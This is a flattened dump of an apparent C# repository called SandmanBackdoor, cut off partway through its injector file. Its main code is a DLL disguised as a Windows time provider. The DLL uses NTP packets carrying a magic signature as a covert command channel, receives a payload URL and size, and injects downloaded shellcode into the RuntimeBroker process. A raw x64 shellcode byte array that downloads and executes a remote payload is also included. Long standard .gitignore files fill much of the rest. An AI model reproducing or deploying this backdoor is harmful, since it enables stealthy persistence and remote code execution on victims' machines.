System.Runtime.InteropServices; 7 | using static SandmanBackdoorTimeProvider.Win32Helper; 8 | 9 | namespace SandmanBackdoorTimeProvider 10 | { 11 | public class Program 12 | { 13 | private const int defaultNtpMessageSize = 48; 14 | private const string ntpServer = "time.windows.com"; 15 | // private const string ntpServer = "192.168.230.1"; 16 | private const int ntpPort = 123; 17 | private const int timeout = 5000; 18 | private const int sleep = 2000; 19 | private static bool keepRunning = true; 20 | 21 | // Required so the dll will act like a time provider. 22 | [DllExport("TimeProvOpen", CallingConvention = CallingConvention.StdCall)] 23 | public static uint TimeProvOpen(UInt16 wszName, IntPtr pSysCallback, IntPtr phTimeProv) 24 | { 25 | Main(); 26 | return Win32Helper.HRESULT_ERROR_NOT_CAPABLE; 27 | } 28 | 29 | [DllExport("TimeProvCommand", CallingConvention = CallingConvention.StdCall)] 30 | public static uint TimeProvCommand(IntPtr phTimeProv, int eCmd, IntPtr pvArgs) 31 | { 32 | return HRESULT_S_OK; 33 | } 34 | 35 | [DllExport("TimeProvClose", CallingConvention = CallingConvention.StdCall)] 36 | public static uint TimeProvClose(IntPtr hTimeProv) 37 | { 38 | return HRESULT_S_OK; 39 | } 40 | 41 | static void Main() 42 | { 43 | IPAddress ntpServerAddress; 44 | var signature = new byte[] { 0x49, 0x44, 0x4f, 0x56, 0x33, 0x31 }; 45 | 46 | // If using a DNS name: Getting the ip address. 47 | if (!IPAddress.TryParse(ntpServer, out ntpServerAddress)) 48 | { 49 | ntpServerAddress = Dns.GetHostEntry(ntpServer).AddressList[0]; 50 | } 51 | var ipEndPoint = new IPEndPoint(ntpServerAddress, ntpPort); 52 | 53 | while (keepRunning) 54 | { 55 | CheckIn(ipEndPoint, signature); 56 | Thread.Sleep(sleep); 57 | } 58 | } 59 | 60 | static void CheckIn(IPEndPoint ipEndPoint, byte[] signature) 61 | { 62 | var ntpData = new byte[defaultNtpMessageSize]; 63 | Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); 64 | 65 | // A required value for legit NTP packet. 66 | ntpData[0] = 0x1B; 67 | 68 | // Adding the malicious signature. 69 | Array.Copy(signature, 0, ntpData, 1, 6); 70 | 71 | // Sending a request. 72 | try 73 | { 74 | socket.Connect(ipEndPoint); 75 | socket.ReceiveTimeout = timeout; 76 | socket.Send(ntpData); 77 | socket.Receive(ntpData); 78 | 79 | // If a waking call found - download & execute the payload. 80 | if (signature.All(x => ntpData.Contains(x))) 81 | { 82 | int amountOfPackets = 0; 83 | string data = ""; 84 | string payloadUrl = ""; 85 | string szPayloadSize = ""; 86 | int payloadSize = 0; 87 | 88 | for (int i = signature.Length + 1; i < ntpData.Length; i++) 89 | { 90 | if (ntpData[i] == 0x00) 91 | break; 92 | data += (char)ntpData[i]; 93 | } 94 | 95 | if (int.TryParse(data, out amountOfPackets)) 96 | { 97 | for (int i = 0; i < amountOfPackets; i++) 98 | { 99 | socket.Receive(ntpData); 100 | 101 | for (int j = signature.Length + 1; j < ntpData.Length; j++) 102 | { 103 | if (ntpData[j] == 0x00) 104 | break; 105 | payloadUrl += (char)ntpData[j]; 106 | } 107 | } 108 | } 109 | else 110 | payloadUrl = data; 111 | 112 | // Getting and validating the payload size. 113 | socket.Receive(ntpData); 114 | 115 | for (int i = signature.Length + 1; i < ntpData.Length; i++) 116 | { 117 | if (ntpData[i] == 0x00) 118 | break; 119 | szPayloadSize += (char)ntpData[i]; 120 | } 121 | 122 | if (!int.TryParse(szPayloadSize, out payloadSize)) 123 | return; 124 | 125 | // Injecting and executing the shellcode. 126 | if (Injector.InjectShellcode(payloadUrl, payloadSize, "RuntimeBroker")) 127 | keepRunning = false; 128 | } 129 | } 130 | catch (SocketException) 131 | { } 132 | finally 133 | { 134 | if (socket.Connected) 135 | { 136 | socket.Close(); 137 | } 138 | } 139 | } 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B362EC25-70BD-4E6C-9744-173D20FDA392} 8 | Library 9 | Properties 10 | SandmanBackdoorTimeProvider 11 | SandmanBackdoorTimeProvider 12 | v4.8 13 | 512 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | 33 | 34 | true 35 | bin\x64\Debug\ 36 | DEBUG;TRACE 37 | full 38 | x64 39 | 7.3 40 | prompt 41 | 42 | 43 | bin\x64\Release\ 44 | TRACE 45 | true 46 | pdbonly 47 | x64 48 | 7.3 49 | prompt 50 | 51 | 52 | D7C5D5E2-8361-4301-89CC-3EC601190C5D 53 | DllExport.dll 54 | System.Runtime.InteropServices 55 | false 56 | false 57 | Auto 58 | 1 59 | false 60 | true 61 | true 62 | false 63 | 30000 64 | 2 65 | 3 66 | 0 67 | 0 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | $(SolutionDir)packages\DllExport.1.7.4\gcache\$(DllExportMetaXBase)\$(DllExportNamespace)\$(DllExportMetaLibName) 101 | False 102 | False 103 | 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /SandmanBackdoor/.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /SandmanBackdoor/Sandman/Injector.cs: -------------------------------------------------------------------------------- 1 | // #define USE_SHELLCODE --> Uncomment to use orca's shellcode. 2 | using System; 3 | using System.Diagnostics; 4 | 5 | #if USE_SHELLCODE 6 | using System.Text; 7 | #else 8 | using System.Net; 9 | #endif 10 | 11 | namespace Sandman 12 | { 13 | internal class Injector 14 | { 15 | #if USE_SHELLCODE 16 | // Thanks Orca :) (https://github.com/ORCx41/D-R-Shellcode/blob/main/Loader.c) 17 | private static byte[] rawShellcode = new byte[] { 18 | 0x48, 0x83, 0xEC, 0x38, 19 | 0x68, 0x64, 0x6C, 0x6C, 0x00, 20 | 0x48, 0xB8, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x2E, 21 | 0x50, 22 | 0x48, 0x8B, 0xCC, 23 | 24 | 0x48, 0x83, 0xEC, 0x20, 25 | 0x48, 0xB8, // * LoadLibraryA (29) 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | 0xFF, 0xD0, 28 | 0x48, 0x83, 0xC4, 0x30, 29 | 0x68, 0x74, 0x73, 0x65, 0x74, 30 | 0x6A, 0x00, 31 | 0x48 ,0x8B, 0xCC, 32 | 0x33, 0xD2, 33 | 0x45, 0x33, 0xC0, 34 | 0x45, 0x33, 0xC9, 35 | 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 36 | 0x48, 0xB8, 37 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetOpenA (72) 38 | 0xFF, 0xD0, 39 | 0x48, 0x89, 0x44, 0x24, 0x30, 40 | 41 | 42 | 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 43 | 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x44, 0x00, 0x80, 44 | 0x45, 0x33, 0xC9, 45 | 0x45, 0x33, 0xC0, 46 | 0x48, 0xBA, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * PAYLOAD_LINK (113) 48 | 0x48, 0x8B, 0x4C, 0x24, 0x30, 49 | 0x48, 0xB8, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetOpenUrlA (128) 51 | 0xFF, 0xD0, 52 | 0x48, 0x89, 0x44, 0x24, 0x28, 53 | 54 | 55 | 56 | 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 57 | 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 58 | 0xBA, 59 | 0x00, 0x00, 0x00, 0x00, // * PAYLOAD_SIZE (156) 60 | 0x33, 0xC9, 61 | 0x48, 0xB8, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * VirtualAlloc (164) 63 | 0xFF, 0xD0, 64 | 0x48, 0x89, 0x44, 0x24, 0x20, 65 | 66 | 67 | 0x4C, 0x8B, 0xCC, 68 | 0x41, 0xB8, 69 | 0x00, 0x00, 0x00, 0x00, // * PAYLOAD_SIZE (184) 70 | 0x48, 0x8B, 0x54, 0x24, 0x20, 71 | 0x48, 0x8B, 0x4C, 0x24, 0x28, 72 | 0x48, 0xB8, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetReadFile (200) 74 | 0xFF, 0xD0, 75 | 76 | 77 | 0x48, 0x8B, 0x4C, 0x24, 0x28, 78 | 0x48, 0xB8, 79 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetCloseHandle (217) 80 | 0xFF, 0xD0, 81 | 82 | 0x48, 0x8B, 0x4C, 0x24, 0x30, 83 | 0x48, 0xB8, 84 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetCloseHandle (234) 85 | 0xFF, 0xD0, 86 | 87 | 0x48, 0x8B, 0x44, 0x24, 0x20, 88 | 0xFF, 0xD0, 89 | 90 | 0x48, 0x83, 0xC4, 0x38, 91 | 0xC3 92 | }; 93 | 94 | private const int LOADLIBRARYA_OFFSET = 29; 95 | private const int URL_OFFSET = 113; 96 | private const int SIZE_OFFSET1 = 156; 97 | private const int SIZE_OFFSET2 = 184; 98 | private const int INTERNETOPENA_OFFSET = 72; 99 | private const int INTERNETOPENURLA_OFFSET = 128; 100 | private const int VIRTUALALLOC_OFFSET = 164; 101 | private const int INTERNETREADFILE_OFFSET = 200; 102 | private const int INTERNETCLOSEHANDLE_OFFSET1 = 217; 103 | private const int INTERNETCLOSEHANDLE_OFFSET2 = 234; 104 | #endif 105 | 106 | public static bool InjectShellcode(string payloadUrl, int payloadSize, string targetProcessName) 107 | { 108 | byte[] shellcode = new byte[payloadSize]; 109 | 110 | // Getting handle to the target process. 111 | Process[] processInstances = Process.GetProcessesByName(targetProcessName); 112 | 113 | if (processInstances.Length == 0) 114 | return false; 115 | Process targetProcess = processInstances[0]; 116 | 117 | #if USE_SHELLCODE 118 